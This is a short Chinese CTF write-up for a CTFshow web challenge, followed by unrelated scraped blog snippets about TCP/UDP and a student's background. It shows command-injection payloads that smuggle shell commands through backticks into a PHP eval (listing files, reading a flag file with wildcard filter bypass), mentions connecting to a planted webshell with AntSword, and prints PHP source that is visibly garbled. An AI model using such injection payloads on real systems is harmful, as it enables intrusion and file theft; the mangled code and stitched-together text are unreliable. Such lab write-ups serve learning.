菜雞杯CTFshow部分wp

2021-10-24 04:21:02 字數 722 閱讀 5261

講道理,題目確實並沒有很難,然而我實在是太菜了,只做出了一題。。。

(連web簽到都不會,我覺得我可能不適合學web(○´・д・)ノ)

<?php 

if(isset($_get['url']))|\]|\=|\+|\-|\_|\;|\:|\'|\"/i', $_get['url']))else

break;

}}else

過濾了很多,無法直接讀取檔案,但看到了eval,這裡要用到eval命令執行

eval後面反引號`裡的內容會當做命令來執行。

?url=`ls`
可以看到有個fl00.php檔案,但是數字和php都被過濾了,所以要用linux萬用字元*

?url=`cat fl**.ph*`
開啟題目發現有一句話木馬

用蟻劍連線後查詢flag,根據修改的時間先從runtime裡開始找,這裡用到find命令

find /var/www/html/runtime | xargs grep "flag
參考

lazzaro ctfshow 菜雞杯

菜雞學習 TCP

tcp協議與udp協議的區別 tcp基於面向連線 位元組流傳輸的協議,資料傳輸可靠,傳輸速度慢。tcp通過序號 重傳 流量控制 擁塞控制實現可靠傳輸。適用於傳輸大量資料,可靠性要求高的場合。udp協議面向非連線 資料報傳輸協議,資料傳輸不可靠,傳輸速度快。udp不保障可靠傳輸,盡最大努力交付。適用於...

關於菜雞我

什麼都不會。17年聯賽掛慘了,18年估計考完聯賽就要afo。現在準備搞省選雖然沒什麼機會 我們學校雖然是弱校 但是初中部吊啊 我們教練之前是教初中的 送到長郡的神仙有任翰林 r 64 陳江倫 laofu 雅禮的神仙redbag 然而我們太菜了帶不動 其實是想寫部落格的。無奈進了暑假以後李總整治我這種...

菜雞高階之路

記錄一下自己一點大學獲獎經歷 2018.10 山東省高校機械人大賽 二等獎2018.12 青島大學電子設計競賽 一等獎2018.12 青島大學第一屆程式設計大賽 冠軍2019.3 第十屆藍橋杯山東省賽 一等獎2019.4 電腦科學與技術學院圖靈杯程式設計大賽 冠軍2019.5 山東省acm程式設計競...